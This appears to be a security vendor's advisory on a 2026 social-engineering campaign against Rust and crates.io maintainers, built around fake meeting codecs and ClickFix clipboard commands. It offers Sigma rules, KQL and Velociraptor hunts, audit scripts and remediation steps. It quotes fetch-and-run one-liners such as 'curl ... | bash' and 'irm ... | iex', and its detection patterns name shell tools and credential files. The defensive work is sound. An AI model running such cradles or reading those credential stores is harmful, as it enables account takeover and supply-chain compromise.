On September 17, 2026, Adam Harvey and the Rust crates security team published an urgent warning: an ongoing, targeted campaign is actively attempting to compromise the devices and accounts of rust-lang project members and owners of popular crates. The objective is not the developers themselves — it is what they control. A single compromised maintainer account on crates.io can push a malicious release to thousands of downstream projects, turning one successful phish into a full-scale supply chain compromise.
The attack pattern reported is deceptively simple and mirrors tradecraft we have tracked across 2025–2026 from groups like Lazarus (the 'Contagious Interview' campaign) and the broader wave of ClickFix-style clipboard attacks:
- The lure is positive. A job offer, a project collaboration, a contract opportunity — something the target wants to take.
- A video call is arranged. The meeting itself is the attack vector.
- During the call, the target is socially engineered into executing attacker-controlled code — either by installing a 'missing audio codec' or 'meeting plugin,' or by pasting a command the attacker has placed on their clipboard (a ClickFix-style technique).
There is no CVE here. There is no exploit for a software bug. The vulnerability being exploited is trust, and the affected 'products' are developer workstations with publish credentials to one of the most important package registries in modern software. Defenders — especially those protecting engineering organizations — need to treat this as an active, in-the-wild threat today.
Technical Analysis
Who Is Being Targeted
- Members of the rust-lang organization (compiler, tooling, and infrastructure teams)
- Owners and maintainers of popular crates on crates.io
- By extension: any high-value open source maintainer. This tradecraft generalizes trivially to npm, PyPI, Maven, and RubyGems maintainers.
The Attack Chain
Based on the crates security team's disclosure, the intrusion follows this sequence:
Stage 1 — Reconnaissance and persona building. The attacker identifies prominent Rustaceans (public GitHub activity, crates.io ownership metadata, conference talks) and builds a credible pretext: recruiter, potential client, collaborator, or conference organizer. Initial contact typically arrives via email, LinkedIn, Twitter/X DM, or even GitHub issue comments.
Stage 2 — The meeting pivot. A video call is scheduled. The attacker may use a legitimate platform (Zoom, Google Meet, Teams) or a lookalike/self-hosted 'meeting' page. Crucially, the meeting gives the attacker real-time social pressure — a live human (or deepfake-assisted persona) walking the victim through the next step.
Stage 3 — Execution via social engineering. Two observed variants:
- Fake codec/component install: The victim is told their audio isn't working and is directed to download and run an 'audio codec,' 'driver,' or 'meeting plugin.' This is a trojanized installer (commonly an NSIS/Inno Setup EXE on Windows, a malicious .dmg/.pkg on macOS, or a shell script on Linux) that deploys an infostealer or RAT.
- Clipboard hijack (ClickFix-style): Malicious JavaScript on the attacker's page silently writes a command to the victim's clipboard. The victim is instructed to 'fix' a meeting problem by pasting into a Run dialog (Win+R), Terminal, or PowerShell — executing a one-liner such as
powershell -w hidden -c "irm https://... | iex"orcurl -fsSL https://... | bash. The victim never 'downloads a file' in the traditional sense; they execute the payload themselves.
Stage 4 — Credential and session theft. The payload's job is to harvest whatever enables crates.io publishing and account takeover:
- Browser cookies and session tokens (Chrome/Edge/Firefox profile stores)
- GitHub Personal Access Tokens and SSH keys (
~/.ssh/,~/.gitconfig, credential helpers) ~/.cargo/credentials.toml— the file holding the crates.io API token used bycargo publish- Password manager databases and OS keychains
Stage 5 — Supply chain weaponization. With crates.io publish rights (and often GitHub write access), the attacker ships a malicious crate version or injects payloads into a trusted dependency — the impact then cascades to every downstream consumer.
Exploitation Status
- Confirmed active, in-the-wild campaign per the Rust project's own security team. This is not theoretical.
- No CVE is associated — this is pure social engineering plus commodity infostealer/RAT payloads.
- The TTPs align with MITRE ATT&CK: T1566 (Phishing), T1204.002 (User Execution: Malicious File), T1059 (Command and Scripting Interpreter), T1555/T1552 (Credential Theft), T1195 (Supply Chain Compromise).
Detection & Response
The most reliable detections here focus on the execution pivot — browsers and meeting applications spawning shells — and on access to publish credentials. These are high-fidelity behaviors with low legitimate occurrence.
Sigma Rules
---
title: Browser or Meeting Application Spawning Shell or Script Interpreter
tid: 3f9c2a71-8b4d-4e6a-9c12-7d5e8f0a1b23
status: experimental
description: Detects web browsers or video conferencing applications spawning command shells or script interpreters, consistent with ClickFix-style clipboard attacks and fake codec installer execution observed in the campaign targeting Rust/crates.io maintainers.
references:
- https://blog.rust-lang.org/2026/09/17/targeted-attacks/
- https://attack.mitre.org/techniques/T1204/002/
- https://attack.mitre.org/techniques/T1059/
author: Security Arsenal
date: 2026/09/17
tags:
- attack.execution
- attack.t1204.002
- attack.t1059
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith:
- '\chrome.exe'
- '\msedge.exe'
- '\firefox.exe'
- '\brave.exe'
- '\zoom.exe'
- '\teams.exe'
- '\ms-teams.exe'
- '\webex.exe'
selection_child:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- '\cmd.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
- '\rundll32.exe'
- '\msiexec.exe'
- '\curl.exe'
condition: selection_parent and selection_child
falsepositives:
- Rare legitimate browser-launched installers; investigate command line content
level: high
---
title: Suspicious Codec or Meeting Plugin Installer Execution
tid: 8a1d4e62-5f7b-4c39-a2e8-6b0d9c1e3f45
status: experimental
description: Detects execution of installer binaries with filenames referencing audio codecs, drivers, or meeting plugins from user-writable download/temp locations, matching the fake audio codec lure reported against Rust maintainers.
references:
- https://blog.rust-lang.org/2026/09/17/targeted-attacks/
- https://attack.mitre.org/techniques/T1204/002/
author: Security Arsenal
date: 2026/09/17
tags:
- attack.execution
- attack.t1204.002
logsource:
category: process_creation
product: windows
detection:
selection_path:
Image|contains:
- '\Downloads\'
- '\AppData\Local\Temp\'
- '\AppData\Local\Microsoft\Windows\INetCache\'
selection_name:
Image|contains:
- 'codec'
- 'audio_driver'
- 'audio-driver'
- 'audiosetup'
- 'audio_setup'
- 'meeting_plugin'
- 'meeting-plugin'
- 'meetingplugin'
- 'mic_fix'
- 'microphone'
- 'driver_update'
condition: selection_path and selection_name
falsepositives:
- Legitimate audio driver updates from OEM tools; verify publisher signature and download source
level: medium
---
title: Process Accessing Cargo or Git Credential Stores
tid: c4e7f1a9-2d8b-4a56-b3c1-9e0f5d2a7b68
status: experimental
description: Detects non-development processes reading credential files used for crates.io publishing and GitHub authentication, a key objective of infostealers deployed in maintainer-targeting campaigns.
references:
- https://blog.rust-lang.org/2026/09/17/targeted-attacks/
- https://attack.mitre.org/techniques/T1552/001/
author: Security Arsenal
date: 2026/09/17
tags:
- attack.credential_access
- attack.t1552.001
logsource:
category: file_event
product: windows
detection:
selection_target:
TargetFilename|contains:
- '\.cargo\credentials'
- '\.ssh\id_'
- '\.git-credentials'
selection_exclude:
Image|endswith:
- '\cargo.exe'
- '\rustc.exe'
- '\git.exe'
- '\ssh.exe'
- '\code.exe'
- '\devenv.exe'
condition: selection_target and not selection_exclude
falsepositives:
- Backup or sync software; endpoint backup agents should be allowlisted after verification
level: high
KQL — Microsoft Sentinel / Defender
This query hunts for the execution pivot — browsers and meeting apps spawning shells or script interpreters — and joins in short-term follow-on network activity to surface potential C2 or payload staging. It works on both onboarded endpoints (DeviceProcessEvents) and Syslog-ingested Linux developer workstations.
// Hunt: Browser/Meeting app spawning shell or script interpreter (ClickFix / fake codec TTP)
// Reference: https://blog.rust-lang.org/2026/09/17/targeted-attacks/
let BrowserOrMeeting = dynamic(["chrome.exe","msedge.exe","firefox.exe","brave.exe","zoom.exe","teams.exe","ms-teams.exe","webex.exe","zoom.us","Google Chrome","firefox"]);
let Shells = dynamic(["powershell.exe","pwsh.exe","cmd.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","msiexec.exe","curl.exe","wget.exe","bash","sh","zsh"]);
DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where InitiatingProcessFileName in~ (BrowserOrMeeting)
| where FileName in~ (Shells)
| project TimeGenerated, DeviceName, AccountName,
ParentProcess = InitiatingProcessFileName,
ChildProcess = FileName, ProcessCommandLine,
SHA256, ReportId, DeviceId
| join kind=leftouter (
DeviceNetworkEvents
| where TimeGenerated > ago(14d)
| project DeviceId, InitiatingProcessId = ProcessId, RemoteUrl, RemoteIP, RemotePort, NetTime = TimeGenerated
) on DeviceId
| where isnotempty(RemoteUrl) or isnotempty(RemoteIP)
| summarize Connections = make_set(strcat(RemoteUrl, " (", RemoteIP, ":", RemotePort, ")"), 10)
by TimeGenerated, DeviceName, AccountName, ParentProcess, ChildProcess, ProcessCommandLine, SHA256
| order by TimeGenerated desc
A second, simpler hunt for clipboard-style one-liner execution patterns — encoded commands, download cradles, and Run-dialog-launched shells:
// Hunt: Download-cradle and encoded command execution on developer workstations
DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where ProcessCommandLine has_any ("iex", "Invoke-Expression", "irm ", "Invoke-RestMethod",
"FromBase64String", " -enc ", " -e ", "curl ", "wget ")
and ProcessCommandLine has_any ("| sh", "| bash", "| iex", "| powershell")
| project TimeGenerated, DeviceName, AccountName, FileName,
ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256
| order by TimeGenerated desc
Velociraptor VQL
Use this artifact to sweep a fleet of developer endpoints for shells spawned by browsers/meeting apps and for suspicious processes holding command lines with download-cradle patterns. This is the fastest way to answer: did any of our maintainers already get popped?
-- Hunt: Developer-targeting social engineering execution artifacts
-- Reference: https://blog.rust-lang.org/2026/09/17/targeted-attacks/
LET browsers = ('chrome', 'msedge', 'firefox', 'brave', 'zoom', 'teams', 'webex')
LET shells = ('powershell', 'pwsh', 'cmd.exe', 'wscript', 'cscript', 'mshta', 'rundll32', 'msiexec', 'bash', '/bin/sh', 'zsh')
SELECT Pid,
Ppid,
Name AS ChildProcess,
CommandLine,
Exe,
Username,
CreateTime
FROM pslist()
WHERE (
-- Child of a browser or meeting app
Ppid IN (
SELECT Pid FROM pslist()
WHERE Name =~ '(?i)chrome|msedge|firefox|brave|zoom|teams|webex'
)
AND Name =~ '(?i)powershell|pwsh|cmd\.exe|wscript|cscript|mshta|rundll32|msiexec|bash|^sh$|zsh'
)
OR CommandLine =~ '(?i)(iex|Invoke-Expression|FromBase64String|curl .+\| ?(ba)?sh|wget .+\| ?(ba)?sh)'
And a companion artifact to check exposure of publish credentials — files that infostealers target on maintainer machines:
-- Hunt: Crates.io and SCM credential file exposure on developer endpoints
SELECT FullPath,
Size,
Mtime,
Ctime
FROM glob(globs=[
'C:/Users/*/.cargo/credentials*',
'C:/Users/*/.git-credentials',
'C:/Users/*/.ssh/id_*',
'/home/*/.cargo/credentials*',
'/home/*/.git-credentials',
'/home/*/.ssh/id_*',
'/Users/*/.cargo/credentials*',
'/Users/*/.git-credentials'
])
Remediation and Verification Script
Run this on developer workstations (adjust for your fleet) to audit for the most common execution artifacts and verify credential hygiene. The PowerShell variant covers Windows endpoints; the Bash variant covers Linux/macOS maintainers.
# Maintainer workstation audit - fake codec / ClickFix campaign TTPs
# Run elevated. Read-only audit; outputs JSON for central collection.
$results = [ordered]@{ Hostname = $env:COMPUTERNAME; Timestamp = (Get-Date).ToString('o') }
# 1. Recently executed installer-like files from user-writable paths matching codec/meeting lures
$suspiciousNames = '*codec*','*audio*driver*','*audio*setup*','*meeting*plugin*','*mic*fix*','*driver*update*'
$paths = @("$env:USERPROFILE\Downloads", "$env:TEMP", "$env:LOCALAPPDATA\Temp")
$found = foreach ($p in $paths) {
if (Test-Path $p) {
Get-ChildItem -Path $p -Recurse -Include $suspiciousNames -ErrorAction SilentlyContinue |
Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-30) } |
Select-Object FullName, LastWriteTime, Length
}
}
$results.SuspiciousInstallers = @($found)
# 2. Check for alternate-data-stream / Zone.Identifier on downloaded files (mark-of-the-web review)
$results.MotWFiles = @(Get-ChildItem "$env:USERPROFILE\Downloads" -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-14) } |
ForEach-Object {
$zone = Get-Content -Path $_.FullName -Stream Zone.Identifier -ErrorAction SilentlyContinue
if ($zone) { [PSCustomObject]@{ File = $_.FullName; LastWrite = $_.LastWriteTime } }
})
# 3. Crates.io credential exposure check
$cargoCred = "$env:USERPROFILE\.cargo\credentials.toml"
$results.CargoCredentialPresent = Test-Path $cargoCred
if ($results.CargoCredentialPresent) {
$results.CargoCredentialLastModified = (Get-Item $cargoCred).LastWriteTime
Write-Warning "crates.io token file present. If compromise is suspected, rotate immediately at https://crates.io/settings/tokens"
}
# 4. Recent PowerShell execution with download-cradle patterns (from process command line history via event log)
$cradleEvents = Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104 } -MaxEvents 2000 -ErrorAction SilentlyContinue |
Where-Object { $_.Message -match 'iex|Invoke-Expression|FromBase64String|Invoke-RestMethod|DownloadString' } |
Select-Object -First 20 TimeCreated, @{n='Snippet';e={ $_.Message.Substring(0, [Math]::Min(300, $_.Message.Length)) }}
$results.DownloadCradleScriptBlocks = @($cradleEvents)
$results | ConvertTo-Json -Depth 4
#!/usr/bin/env bash
# Linux/macOS maintainer workstation audit - social engineering campaign TTPs
# Read-only. Run as the developer user (or root for full visibility).
echo "=== Audit: $(hostname) @ $(date -u +%FT%TZ) ==="
echo "--- [1] Suspicious installer/script names in Downloads and /tmp (last 30 days) ---"
find ~/Downloads /tmp /var/tmp -maxdepth 3 -type f \( \
-iname '*codec*' -o -iname '*audio*driver*' -o -iname '*audio*setup*' -o \
-iname '*meeting*plugin*' -o -iname '*mic*fix*' -o -iname '*driver*update*' \) \
-mtime -30 -exec ls -la {} \; 2>/dev/null
echo "--- [2] Recently modified shell history entries with download cradles ---"
for hfile in ~/.bash_history ~/.zsh_history; do
[ -f "$hfile" ] && grep -nE 'curl .*(\||bash|sh)|wget .*(\||bash|sh)|base64 -d|eval' "$hfile" | tail -20
done
echo "--- [3] Publish credential file presence ---"
for cred in ~/.cargo/credentials.toml ~/.cargo/credentials ~/.git-credentials ~/.npmrc ~/.pypirc; do
if [ -f "$cred" ]; then
echo "PRESENT: $cred (perms: $(stat -c '%a' "$cred" 2>/dev/null || stat -f '%Lp' "$cred"), modified: $(stat -c '%y' "$cred" 2>/dev/null || stat -f '%Sm' "$cred"))"
fi
done
echo "--- [4] SSH private keys world-readable check ---"
find ~/.ssh -maxdepth 1 -name 'id_*' ! -name '*.pub' -exec sh -c \
'p=$(stat -c "%a" "$1" 2>/dev/null || stat -f "%Lp" "$1"); [ "$p" != "600" ] && echo "BAD PERMS ($p): $1"' _ {} \;
echo "--- [5] Unexpected persistence: cron and launch agents modified in last 14 days ---"
find /etc/cron* /var/spool/cron ~/Library/LaunchAgents ~/.config/autostart -mtime -14 -type f 2>/dev/null
echo "=== Audit complete ==="
Remediation
There is no patch for social engineering — the fix is a combination of credential hardening, publisher-side controls, and behavioral process changes. Prioritize in this order:
1. Assume Targeting; Harden Publish Credentials Immediately
- Rotate crates.io API tokens for every maintainer in your organization: https://crates.io/settings/tokens. Delete any token that is not actively needed. Prefer scoped, short-lived tokens over legacy all-access tokens.
- Rotate GitHub PATs and re-enroll SSH keys if there is any chance of exposure. Audit
~/.git-credentialsand credential helpers for plaintext token storage — move to a credential manager orgh auth. - Enable phishing-resistant MFA (FIDO2/passkeys/hardware keys) on GitHub, crates.io-linked accounts, and email. TOTP is better than nothing but is phishable in real time — exactly the scenario in a live attacker-guided call.
2. Verify Whether Anyone Already Engaged
- Pull calendar and email logs for external meeting invitations received by maintainers in the past 90 days, especially from recently registered domains or first-time contacts.
- Review endpoint telemetry for the execution pivot (browser/meeting app → shell) using the queries above.
- If any maintainer installed software or pasted a command at a counterparty's request during a call: treat the host as compromised. Isolate, image, rotate every credential reachable from that machine, and review
cargo publishand git push history for anomalies.
3. Establish Out-of-Band Verification for 'Opportunity' Contacts
- Any unsolicited job, contract, or collaboration contact that requests a call should be verified through a second channel before software is installed or commands are run. Legitimate recruiters and clients do not require you to install a codec.
- Codify a simple rule for engineers: no software installs or pasted commands during first-contact external calls, ever. A real meeting platform does not need you to run a terminal command.
4. Registry-Side and Build-Side Guardrails
- Enable crates.io's trusted publishing (OIDC-based publishing from CI) where possible, so publishing does not depend on a long-lived token sitting in
~/.cargo/credentials.tomlon an endpoint. - Require two-party review for new crate releases in organization-owned projects, and alert on publish events occurring outside CI or outside maintainer working hours/geography.
- Monitor your own dependency trees for unexpected new versions of maintainer-owned crates (
cargo audit, dependency diffing in CI) — a surprise patch release from a compromised account is the payload delivery mechanism.
5. Report and Share
- Report suspected contact from this campaign to the Rust security team per the guidance at https://blog.rust-lang.org/2026/09/17/targeted-attacks/ and to https://www.cisa.gov/report if you are in US critical infrastructure. Preservation of the lure emails, meeting URLs, and any downloaded files is critical for attribution and for protecting other maintainers.
The uncomfortable truth of this campaign is that it targets the people least likely to be covered by corporate security controls — open source maintainers working on personal machines with disproportionate ecosystem privileges. If your organization depends on Rust crates (it does), the security of these individuals is now part of your attack surface. Extend your monitoring, your hunting, and your incident response umbrella accordingly.
Related Resources
Security Arsenal Managed SOC Services AlertMonitor Platform Book a SOC Assessment soc-mdr Intel Hub
Is your security operations ready?
Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.